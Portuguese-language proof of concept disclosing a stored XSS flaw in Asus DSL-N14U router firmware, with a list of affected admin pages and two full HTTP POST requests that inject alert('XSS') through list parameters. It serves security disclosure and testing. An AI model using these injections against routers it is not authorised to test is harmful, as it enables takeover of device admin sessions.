
Prova de conceito para vulnerabilidade de XSS armazenado no firmware do roteador Asus DSL-N14U, com payloads de exploit e lista de mais de 70 páginas ASP vulneráveis para testes de segurança.
Ainda não testamos modelos Asus além dos listados. No entanto, suspeitamos que também possa funcionar em outros modelos com a mesma versão de firmware.
DSL-N14U_B1 V.1.1.2.3_805
No roteador Asus DSL-N14U-B1 1.1.2.3_805 foi descoberta uma vulnerabilidade de cross-site scripting (XSS) armazenado por meio dos parâmetros "*list" (ex.: filter_lwlist, keyword_rulelist, etc.) em todas as páginas ".asp" que contêm uma lista de strings armazenadas (ex.: Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp).
Através de um parâmetro *list (ex.: filter_lwlist, keyword_rulelist, etc.) em todas as páginas ".asp" que contêm uma lista de strings armazenadas (ex.: Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp), as funções tcWebApi_get e TCWebApi_get são executadas para gerar código JavaScript dinâmico.
Ex.: filter_lwlist em /cgi-bin/Advanced_Firewall_Content.asp:
Enviando no corpo do POST:
filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'
O código do backend:
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<% If tcWebApi_get("IpMacFilter_Entry","LtoW_List","h") <> "" then tcWebApi_get("IpMacFilter_Entry","LtoW_List","s") end if %>';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
torna-se:
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<192.168.2.2>443>192.168.2.2>443>TCP'+alert('XSS')+'';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
Que é executado no navegador:

Neste painel web do roteador existem muitas listas de strings enviadas pelo usuário (ex.: para especificar uma lista de IPs bloqueados, uma lista de ip:porta para encaminhar, etc.) e em todas as páginas testadas foi possível realizar XSS. Uma lista de páginas vulneráveis pode ser obtida por meio de:
grep -rPi 'var.*TCWebApi_get' boaroot/ | awk -F':' '{print $1}' | sort -u
boaroot/cgi-bin/Advanced_ACL_Content.asp
boaroot/cgi-bin/Advanced_ADSL_Content.asp
boaroot/cgi-bin/Advanced_AiDisk_ftp.asp
boaroot/cgi-bin/Advanced_AiDisk_samba.asp
boaroot/cgi-bin/Advanced_ASUSDDNS_Content.asp
boaroot/cgi-bin/Advanced_DSL_Content.asp
boaroot/cgi-bin/Advanced_Firewall_Content.asp
boaroot/cgi-bin/Advanced_FirmwareUpgrade_Content.asp
boaroot/cgi-bin/Advanced_GWStaticRoute_Content.asp
boaroot/cgi-bin/Advanced_IPTV_Content.asp
boaroot/cgi-bin/Advanced_IPv6_Content.asp
boaroot/cgi-bin/Advanced_KeywordFilter_Content.asp
boaroot/cgi-bin/Advanced_LAN_Content.asp
boaroot/cgi-bin/Advanced_Modem_Content.asp
boaroot/cgi-bin/Advanced_PortTrigger_Content.asp
boaroot/cgi-bin/Advanced_QOSUserPrio_Content.asp
boaroot/cgi-bin/Advanced_QOSUserRules_Content.asp
boaroot/cgi-bin/Advanced_SettingBackup_Content.asp
boaroot/cgi-bin/Advanced_System_Content.asp
boaroot/cgi-bin/Advanced_URLFilter_Content.asp
boaroot/cgi-bin/Advanced_VirtualServer_Content.asp
boaroot/cgi-bin/Advanced_VPN_PPTP.asp
boaroot/cgi-bin/Advanced_WAdvanced_Content.asp
boaroot/cgi-bin/Advanced_WANPort_Content.asp
boaroot/cgi-bin/Advanced_Wireless_Content.asp
boaroot/cgi-bin/Advanced_WMode_Content.asp
boaroot/cgi-bin/Advanced_WWPS_Content.asp
boaroot/cgi-bin/aidisk/Aidisk-1.asp
boaroot/cgi-bin/aidisk/Aidisk-2.asp
boaroot/cgi-bin/aidisk/Aidisk-3.asp
boaroot/cgi-bin/aidisk/Aidisk-4.asp
boaroot/cgi-bin/aidisk.asp
boaroot/cgi-bin/APP_Installation.asp
boaroot/cgi-bin/Bandwidth_Limiter.asp
boaroot/cgi-bin/blocking.asp
boaroot/cgi-bin/cloud_main.asp
boaroot/cgi-bin/cloud_router_sync.asp
boaroot/cgi-bin/cloud_settings.asp
boaroot/cgi-bin/cloud_sync.asp
boaroot/cgi-bin/device-map/clients.asp
boaroot/cgi-bin/device-map/disk.asp
boaroot/cgi-bin/device-map/DSL_dashboard.asp
boaroot/cgi-bin/device-map/internet.asp
boaroot/cgi-bin/error_page.asp
boaroot/cgi-bin/Guest_network.asp
boaroot/cgi-bin/index2.asp
boaroot/cgi-bin/index.asp
boaroot/cgi-bin/Main_AccessLog_Content.asp
boaroot/cgi-bin/Main_AdslStatus_Content.asp
boaroot/cgi-bin/Main_Spectrum_Content.asp
boaroot/cgi-bin/Main_WebHistory_Content.asp
boaroot/cgi-bin/ParentalControl.asp
boaroot/cgi-bin/qis/QIS_admin_pass.asp
boaroot/cgi-bin/qis/QIS_annex_setting.asp
boaroot/cgi-bin/qis/QIS_bridge_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_detect.asp
boaroot/cgi-bin/qis/QIS_finish.asp
boaroot/cgi-bin/qis/QIS_ipoa_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_manual_setting.asp
boaroot/cgi-bin/qis/QIS_mer_cfg.asp
boaroot/cgi-bin/qis/QIS_mer_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_PTM_manual_setting.asp
boaroot/cgi-bin/qis/QIS_wireless.asp
boaroot/cgi-bin/QIS_wizard.asp
boaroot/cgi-bin/QoS_EZQoS.asp
boaroot/cgi-bin/query_wan_status2.asp
boaroot/cgi-bin/query_wan_status.asp
boaroot/cgi-bin/start_apply.asp
boaroot/html/client_function.js
boaroot/html/general.js
boaroot/html/help.js
boaroot/html/state.js
boaroot/html/validator.js
Exemplos de payloads:
POST /cgi-bin/Advanced_Firewall_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 880
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/Advanced_Firewall_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517
Upgrade-Insecure-Requests: 1
productid=DSL-N14U¤t_page=Advanced_Firewall_Content.asp&next_page=&group_id=filter_lwlist&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&filter_lw_date_x=1111111&filter_lw_time_x=00002359&filter_lw_num_x_0=&filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'&editFlag=1&fw_lw_enable_x=1&filter_lw_default_x=DROP&LWKnownApps=User+Defined&filter_lw_date_x_Sun=on&filter_lw_date_x_Mon=on&filter_lw_date_x_Tue=on&filter_lw_date_x_Wed=on&filter_lw_date_x_Thu=on&filter_lw_date_x_Fri=on&filter_lw_date_x_Sat=on&filter_lw_time_x_starthour=00&filter_lw_time_x_startmin=00&filter_lw_time_x_endhour=23&filter_lw_time_x_endmin=59&filter_lw_icmp_x=&filter_lw_srcip_x_0=&filter_lw_srcport_x_0=&filter_lw_dstip_x_0=&filter_lw_dstport_x_0=&filter_lw_proto_x_0=TCP&FAQ_input=
POST /cgi-bin/Advanced_KeywordFilter_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 449
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/cgi-bin/Advanced_KeywordFilter_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517; bw_rtab=ATM
Upgrade-Insecure-Requests: 1
current_page=Advanced_KeywordFilter_Content.asp&next_page=Advanced_KeywordFilter_Content.asp&next_host=192.168.2.1&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&keyword_num_x_0=&keyword_rulelist=%3CTEST%27%2Balert%28%27XSS%29%2B%27&keyword_enable_x_orig=0&editFlag=1&keyword_enable_x=0&keyword_enable_x_0=0&keyword_enable_x_1=0&keyword_keyword_x_0=&FAQ_input=